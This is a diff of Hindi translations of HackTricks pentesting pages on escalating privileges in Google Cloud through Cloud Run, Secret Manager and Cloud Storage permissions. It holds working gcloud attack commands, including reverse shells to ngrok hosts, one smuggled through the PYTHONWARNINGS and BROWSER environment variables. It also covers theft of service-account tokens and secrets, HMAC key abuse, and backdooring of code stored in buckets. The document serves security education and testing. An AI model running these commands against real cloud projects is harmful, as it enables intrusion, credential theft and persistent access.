 ### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
 
-इन permissions के साथ एक attacker **create a run service running arbitrary code** (arbitrary Docker container) बना सकता है, उस पर एक Service Account attach कर सकता है, और कोड से **exfiltrate the Service Account token from the metadata** करवा सकता है।
+इन permissions वाले attacker को यह अनुमति मिलती है कि वह **create a run service running arbitrary code** (arbitrary Docker container) बना सके, उस पर एक Service Account attach कर सके, और code से **exfiltrate the Service Account token from the metadata** करवा सके।
 
 An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
 
-ध्यान दें कि जब आप `gcloud run deploy` का उपयोग करते हैं सिर्फ सेवा बनाने के बजाय तो **इसे `update` permission चाहिए**। Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
+Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
 
 ### `run.services.update` , `iam.serviceAccounts.actAs`
 
-पहले वाले जैसा ही है पर एक service को update करना:
+पिछले वाले की तरह ही, लेकिन service को update करने के लिए:
-
-<details>
-<summary>Deploy Cloud Run service with reverse shell</summary>
 ```bash
 # Launch some web server to listen in port 80 so the service works
 echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
 
 # If you don't have permissions to use "--allow-unauthenticated", dont use it
 ```
-</details>
-
 ### `run.services.setIamPolicy`
 
-cloud Run पर स्वयं को पूर्व अनुमतियाँ दें।
+cloud Run पर अपने लिए permissions दें।
+```bash
+# Change policy
+gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
+--region=us-central1
 
+# Add binding
+gcloud run services add-iam-policy-binding <SERVICE_NAME> \
+--member="allUsers" \
+--role="roles/run.invoker" \
+--region=us-central1
+
+# Remove binding
+gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
+--member="allUsers" \
+--role="roles/run.invoker" \
+--region=us-central1
+```
 ### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
 
-कमांड में निर्दिष्ट service account चुराने के लिए reverse shell के साथ एक job लॉन्च करें। एक [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) यहाँ पाया जा सकता है।
+कमांड में संकेतित service account को चुराने के लिए reverse shell के साथ एक job लॉन्च करें। आप एक [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) पा सकते हैं।
-
-<details>
-<summary>reverse shell के साथ Cloud Run job बनाएँ</summary>
 ```bash
 gcloud beta run jobs create jab-cloudrun-3326 \
 --image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
 --region=us-central1
 
 ```
-</details>
-
 ### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
 
-पिछले वाले की तरह यह संभव है कि आप **job और SA को अपडेट करें**, **command** को बदलें और उसे execute कर सकें:
+पिछले वाले की तरह यह संभव है कि आप **update a job and update the SA**, **command** को बदलकर और उसे **execute it** कर सकें:
-
-<details>
-<summary>Cloud Run job को अपडेट करें और reverse shell के साथ execute करें</summary>
 ```bash
 gcloud beta run jobs update hacked \
 --image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
 --region=us-central1 \
 --execute-now
 ```
-</details>
-
 ### `run.jobs.setIamPolicy`
 
-Cloud Jobs पर पहले दी गई अनुमतियाँ स्वयं को दें।
+अपने आप को Cloud Jobs पर पहले के समान permissions दें।
+```bash
+# Change policy
+gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
+--region=us-central1
 
+# Add binding
+gcloud run jobs add-iam-policy-binding <JOB_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="roles/run.invoker" \
+--region=us-central1
+
+# Remove binding
+gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
+--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="roles/run.invoker" \
+--region=us-central1
+```
 ### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
 
-Job execution के env variables का दुरुपयोग करके arbitrary code चलाकर एक reverse shell हासिल करें, ताकि container की सामग्री (source code) dump की जा सके और metadata के अंदर मौजूद SA तक पहुँच बनाई जा सके:
+Job execution के env variables का दुरुपयोग करके arbitrary code चलाएँ और एक reverse shell प्राप्त करके container (source code) की सामग्री dump करें और metadata में मौजूद SA तक पहुँच हासिल करें:
-
-<details>
-<summary>Execute Cloud Run job with environment variable exploitation</summary>
 ```bash
 gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
 ```
-</details>
-
 ## संदर्भ
 
 - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md

@@ -12,16 +12,16 @@ secretmanager के बारे में अधिक जानकारी
 
 ### `secretmanager.versions.access`
 
-यह आपको secret manager से secrets पढ़ने की अनुमति देता है और यह अधिकारों (privileges) बढ़ाने में मदद कर सकता है (निर्भर करता है कि secret के अंदर कौन सी जानकारी संग्रहीत है):
+यह आपको secretmanager से secrets पढ़ने की अनुमति देता है और यह privilege escalation में मदद कर सकता है (यह इस बात पर निर्भर करेगा कि secret के अंदर कौन-सी जानकारी संग्रहीत है):
 
-<details><summary>Clear-text secret version प्राप्त करें</summary>
+<details><summary>क्लियर-टेक्स्ट secret version प्राप्त करें</summary>
 ```bash
 # Get clear-text of version 1 of secret: "<secret name>"
 gcloud secrets versions access 1 --secret="<secret_name>"
 ```
 </details>
 
-चूंकि यह भी एक post exploitation तकनीक है, इसे यहाँ पाया जा सकता है:
+चूँकि यह भी एक पोस्ट-एक्सप्लॉइटेशन तकनीक है, इसे यहाँ पाया जा सकता है:
 
 {{#ref}}
 ../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -29,14 +29,20 @@ gcloud secrets versions access 1 --secret="<secret_name>"
 
 ### `secretmanager.secrets.setIamPolicy`
 
-यह आपको secret manager से secrets पढ़ने का access देता है, जैसे:
+यह आपको secret manager से secrets पढ़ने की अनुमति देता है, उदाहरण के लिए:
 
-<details><summary>Add IAM policy binding to secret</summary>
+<details><summary>Secret पर IAM policy binding जोड़ें</summary>
 ```bash
 gcloud secrets add-iam-policy-binding <scret-name> \
 --member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
 --role="roles/secretmanager.secretAccessor"
 ```
+या नीतियों को रद्द करें:
+```bash
+gcloud secrets remove-iam-policy-binding <secret-name> \
+--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--role="roles/secretmanager.secretAccessor"
+```
 </details>
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md

@@ -4,7 +4,7 @@
 
 ## Storage
 
-मूल जानकारी:
+Basic Information:
 
 {{#ref}}
 ../gcp-services/gcp-storage-enum.md
@@ -12,28 +12,82 @@
 
 ### `storage.objects.get`
 
-This permission आपको Cloud Storage के अंदर stored files को **download** करने की अनुमति देता है। कभी-कभी **संवेदनशील जानकारी वहीं saved रहती है**, इसलिए यह privilege escalation की संभावना पैदा कर सकता है। इसके अलावा, कुछ GCP सेवाएँ अपनी जानकारी buckets में स्टोर करती हैं:
+यह permission आपको **Cloud Storage के अंदर संग्रहीत फ़ाइलें डाउनलोड करने** की अनुमति देता है। यह संभावित रूप से आपको privileges escalate करने में मदद कर सकता है क्योंकि कुछ मामलों में **संवेदनशील जानकारी वहां सेव रहती है**। इसके अलावा, कुछ GCP सेवाएँ अपनी जानकारी buckets में स्टोर करती हैं:
 
-- **GCP Composer**: जब आप एक Composer Environment बनाते हैं तो सभी DAGs का **code** एक **bucket** के अंदर saved रहता है। इन tasks के code में दिलचस्प जानकारी मिल सकती है।
+- **GCP Composer**: जब आप एक Composer Environment बनाते हैं तो **code of all the DAGs** एक **bucket** के अंदर सेव किया जाएगा। ये tasks उनके कोड के भीतर दिलचस्प जानकारी रख सकते हैं।
-- **GCR (Container Registry)**: containers की **image** भी **buckets** में stored होती हैं, जिसका मतलब है कि अगर आप buckets पढ़ सकते हैं तो images डाउनलोड करके **search for leaks and/or source code** कर पाएंगे।
+- **GCR (Container Registry)**: containers की **image** buckets के अंदर स्टोर होती है, जिसका मतलब है कि अगर आप उन buckets को पढ़ सकते हैं तो आप images डाउनलोड कर पाएंगे और **search for leaks and/or source code** कर सकेंगे।
 
 ### `storage.objects.setIamPolicy`
 
-यह permission आपको इस सेक्शन के किसी भी पहले बताए गए scenario को **abuse** करने की अनुमति दे सकता है।
+यह permission आपको इस सेक्शन में ऊपर बताए गए किसी भी परिदृश्य का **abuse** करने की अनुमति दे सकता है।
+```bash
+# Add binding
+gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
+--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
+--role="<ROLE>" \
+--project=<PROJECT_ID>
 
+# Remove binding
+gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
+--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
+--role="<ROLE>" \
+--project=<PROJECT_ID>
+
+# Change Policy
+gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
+--project=<PROJECT_ID> <<'POLICY'
+{
+"bindings": [
+{
+"role": "<ROLE>",
+"members": [
+"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
+]
+}
+]
+}
+POLICY
+
+```
 ### **`storage.buckets.setIamPolicy`**
 
-permissions को modify करने का एक उदाहरण देखने के लिए इस पेज को देखें:
+उदाहरण के लिए कि इस permission check के साथ permissions कैसे बदलें, इस पृष्ठ को देखें:
+```bash
+# Add binding
+gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
+--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
+--role=<ROLE> \
+--project=<MY_PROJECT>
 
+# Remove binding
+gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
+--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
+--role=<ROLE> \
+--project=<MY_PROJECT>
+
+# Change policy
+gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
+--project=<PROJECT_ID> <<'POLICY'
+{
+"bindings": [
+{
+"role": "<ROLE>",
+"members": [
+"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
+]
+}
+]
+}
+POLICY
+
+```
 {{#ref}}
 ../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
 {{#endref}}
 
 ### `storage.hmacKeys.create`
 
-Cloud Storage की "interoperability" feature, जो AWS S3 जैसी cross-cloud interactions के लिए डिज़ाइन की गई है, में **Service Accounts और users के लिए HMAC keys का creation** शामिल है। एक attacker इसका फायदा उठाकर **उच्च privileges वाले Service Account के लिए HMAC key generate** कर सकता है, और इस तरह Cloud Storage के अंदर **privileges escalate** कर सकता है। जबकि user-associated HMAC keys केवल web console से retrieveable होते हैं, access और secret keys दोनों **perpetually accessible** रह सकते हैं, जो potential backup access storage की अनुमति देते हैं। इसके विपरीत, Service Account-linked HMAC keys API-accessible होते हैं, लेकिन उनके access और secret keys creation के बाद retrievable नहीं होते, जो continuous access के मामले में जटिलता जोड़ता है।
+Cloud Storage की "interoperability" फ़ीचर, जो AWS S3 जैसे **cross-cloud interactions** के लिए डिज़ाइन की गई है, Service Accounts और users के लिए **HMAC keys के निर्माण** में शामिल है। एक attacker इसका फायदा उठा सकता है — **उच्च privileges वाली Service Account के लिए HMAC key जनरेट करके**, जिससे **Cloud Storage में privileges escalate** हो सकते हैं। जबकि user-आधारित HMAC keys केवल web console के माध्यम से पुनः प्राप्त की जा सकती हैं, access और secret keys दोनों **स्थायी रूप से उपलब्ध** रहते हैं, जिससे संभावित backup access storage संभव हो जाता है। इसके विपरीत, Service Account-लिंक्ड HMAC keys API-से पहुँच योग्य होते हैं, पर उनके access और secret keys निर्माण के बाद पुनः प्राप्त नहीं किए जा सकते, जो लगातार access बनाए रखने में जटिलता जोड़ता है।
-
-<details><summary>Create and use HMAC key for privilege escalation</summary>
 ```bash
 # Create key
 gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
 # Restore
 gcloud config set pass_credentials_to_gsutil true
 ```
-</details>
-
 Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
 
 ### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
 
-एक bucket के अंदर नया ऑब्जेक्ट **create** करने के लिए आपको `storage.objects.create` चाहिए और, [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) के अनुसार, किसी मौजूद ऑब्जेक्ट को **modify** करने के लिए आपको `storage.objects.delete` भी चाहिए।
+Bucket के अंदर एक नया ऑब्जेक्ट **बनाने** के लिए आपको `storage.objects.create` चाहिए और, [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) के अनुसार, किसी मौजूदा ऑब्जेक्ट को **संशोधित** करने के लिए आपको `storage.objects.delete` भी चाहिए।
 
-एक बहुत ही सामान्य exploitation उन buckets का होता है जिनमें आप क्लाउड में लिख सकते हैं — खासकर जब वह **bucket web server files सेव कर रहा हो**, तब आप ऐसा कर सकते हैं कि नया code स्टोर कर दें जो web application द्वारा उपयोग में लाया जाएगा।
+ऐसे buckets जहाँ आप cloud में लिख सकते हैं का एक बहुत ही सामान्य exploitation यह है कि अगर वह **bucket वेब सर्वर फ़ाइलें सेव कर रहा है**, तो आप संभवतः ऐसी **नई code स्टोर** कर पाएँगे जिसे web application उपयोग करेगा।
 
 ### Composer
 
-**Composer** GCP के अंदर managed **Apache Airflow** है। इसमें कुछ महत्वपूर्ण विशेषताएँ हैं:
+**Composer** GCP के अंदर managed **Apache Airflow** है। इसके कुछ दिलचस्प फीचर्स हैं:
 
-- यह **GKE cluster** के अंदर चलता है, इसलिए cluster जो **SA** उपयोग करता है वह Composer के अंदर चल रहे code द्वारा accessible होता है।
+- यह एक **GKE cluster** के अंदर चलता है, इसलिए **SA जिसका cluster उपयोग करता है, Composer के अंदर चलने वाले कोड द्वारा एक्सेस किया जा सकता है।**
-- Composer environments के सभी components (यानी **code of DAGs**, plugins और data) एक GCP bucket में store होते हैं। अगर attacker के पास उस पर read और write permissions हैं, तो वह bucket को monitor कर सकता है और **जब भी कोई DAG बनाया या अपडेट किया जाए, एक backdoored version submit कर सकता है** ताकि composer environment storage से वह backdoored version ले ले।
+- एक composer environment के सभी component (**code of DAGs**, plugins और data) एक GCP bucket में स्टोर होते हैं। यदि attacker के पास उस पर read और write permissions हों, तो वह bucket को मॉनिटर करके **जब भी कोई DAG बनाया या अपडेट किया जाए, एक backdoored version submit कर सकता है** ताकि composer environment storage से backdoored version ले सके।
 
 **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
 
 ### Cloud Functions
 
-- Cloud Functions का code Storage में store होता है और जब भी नया version बनाया जाता है तो code bucket में push होता है और फिर उसी code से नया container build होता है। इसलिए, **नए version के build होने से पहले code को overwrite कर देना संभव है ताकि cloud function arbitrary code execute करे**।
+- Cloud Functions का code Storage में स्टोर होता है और जब भी एक नया version बनाया जाता है तो code bucket में push किया जाता है और फिर उस code से नया container build होता है। इसलिए, **नए version के build होने से पहले code को overwrite करके यह संभव है कि cloud function arbitrary code execute करे।**
 
 **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
 
 ### App Engine
 
-AppEngine versions कुछ डेटा `staging.<project-id>.appspot.com` नाम के bucket में generate करते हैं। इस bucket के अंदर `ae` नाम का एक फ़ोल्डर मिलता है जिसमें AppEngine app के प्रत्येक version का एक फ़ोल्डर होगा और उन फ़ोल्डर्स के अंदर `manifest.json` फ़ाइल मिलेगी। इस फ़ाइल में उस specific version को बनाने के लिए उपयोग होने वाली सभी फ़ाइलों का JSON होता है। इसके अलावा, यहाँ आप फ़ाइलों के **real names, उनके GCP bucket के अंदर के URLs (बकेट के अंदर फ़ाइलों के नाम उनके sha1 hash में बदल दिए गए हैं) और प्रत्येक फ़ाइल का sha1 hash** भी पा सकते हैं।
+AppEngine versions एक bucket के अंदर कुछ data generate करते हैं जिसका नाम इस format में होता है: `staging.<project-id>.appspot.com`. इस bucket के अंदर एक `ae` नाम का folder मिलता है जिसमें AppEngine app के हर version के लिए एक folder होगा और इन folders के अंदर आपको `manifest.json` फ़ाइल मिलेगी। यह फ़ाइल उस specific version को बनाने के लिए उपयोग की जाने वाली सभी फ़ाइलों का json रखती है। इसके अलावा, यहाँ आपको फ़ाइलों के असली नाम, GCP bucket के अंदर उनकी URL (क्योंकि bucket के अंदर फ़ाइलों का नाम उनके sha1 hash में बदल दिया गया होता है) और प्रत्येक फ़ाइल का sha1 hash भी मिल सकता है।
 
 _Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
 
-हालाँकि, इस bucket पर read & write access होने पर App Engine version से जुड़े SA को escalate करना संभव है — बस bucket को monitor करके और जब भी कोई change (नया version) होता है, नए version को जितनी जल्दी हो सके modify कर देना। इस तरह, उस code से बन रहा container backdoored code execute करेगा।
+हालाँकि, इस bucket पर read & write access होने पर App Engine version से जुड़ी SA तक privileges escalate करना संभव है — बस bucket को मॉनिटर करें और जब भी कोई change हो (नया version), तुरंत नए version को modify कर दें। इस तरह, जो container उस code से बनाया जाएगा वह backdoored code execute करेगा।
 
-यह हमला कई तरीकों से किया जा सकता है, सभी की शुरुआत `staging.<project-id>.appspot.com` bucket की monitoring से होती है:
+यह हमला कई तरीकों से किया जा सकता है, सभी की शुरुआत `staging.<project-id>.appspot.com` bucket को मॉनिटर करने से होती है:
 
-- AppEngine version का पूरा नया code किसी दूसरे उपलब्ध bucket में upload करें और एक **`manifest.json`** फ़ाइल तैयार रखें जिसमें नए bucket का नाम और उनकी sha1 hashes हों। फिर जब original bucket में नया version बने, आप बस `manifest.json` को modify करके malicious वाला upload कर दें।
+- AppEngine version का पूरा नया code किसी अलग उपलब्ध bucket में upload करें और एक **`manifest.json` फ़ाइल बनाएँ जिसमें नए bucket का नाम और उनकी sha1 hashes हों**। फिर, जब bucket के अंदर नया version बनाया जाए, आप बस `manifest.json` फ़ाइल को modify करके malicious वाली upload कर दें।
-- एक modified `requirements.txt` upload करें जो malicious dependencies को उपयोग करेगा और `manifest.json` को नए filename, URL और hash के साथ update कर दें।
+- एक संशोधित `requirements.txt` upload करें जो malicious dependencies का उपयोग करे और `manifest.json` फ़ाइल को नए filename, URL और उसके hash के साथ अपडेट करें।
-- एक modified `main.py` या `app.yaml` upload करें जो malicious code execute करे और `manifest.json` को नए filename, URL और hash के साथ update कर दें।
+- एक संशोधित `main.py` या `app.yaml` फ़ाइल upload करें जो malicious code execute करेगी और `manifest.json` फ़ाइल को नए filename, URL और उसके hash के साथ अपडेट करें।
 
 **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
 
 ### GCR
 
-- **Google Container Registry** images को buckets में store करता है; अगर आप उन buckets में **write** कर सकते हैं तो आप संभवतः उन जगहों पर **move laterally** कर सकते हैं जहाँ वे buckets run हो रहे हैं।
+- **Google Container Registry** images को buckets के अंदर स्टोर करता है; अगर आप उन buckets में **write** कर सकते हैं तो आप संभवतः **उन जगहों तक lateral move कर सकेंगे जहाँ वे buckets run होते हैं।**
-- GCR जो bucket उपयोग करता है उसका URL कुछ इस तरह होगा: `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Top level subdomains यहाँ specified हैं: [https://cloud.google.com/container-registry/docs/pushing-and-pulling]).
+- GCR द्वारा उपयोग किया गया bucket एक URL जैसा होगा: `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Top level subdomains को [यहाँ](https://cloud.google.com/container-registry/docs/pushing-and-pulling) specify किया गया है)।
 
 > [!TIP]
-> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
+> यह सेवा deprecated है इसलिए यह attack अब उपयोगी नहीं है। इसके अलावा, Artifact Registry, जो इस सेवा का विकल्प है, images को buckets में स्टोर नहीं करता है।
 
 ## **References**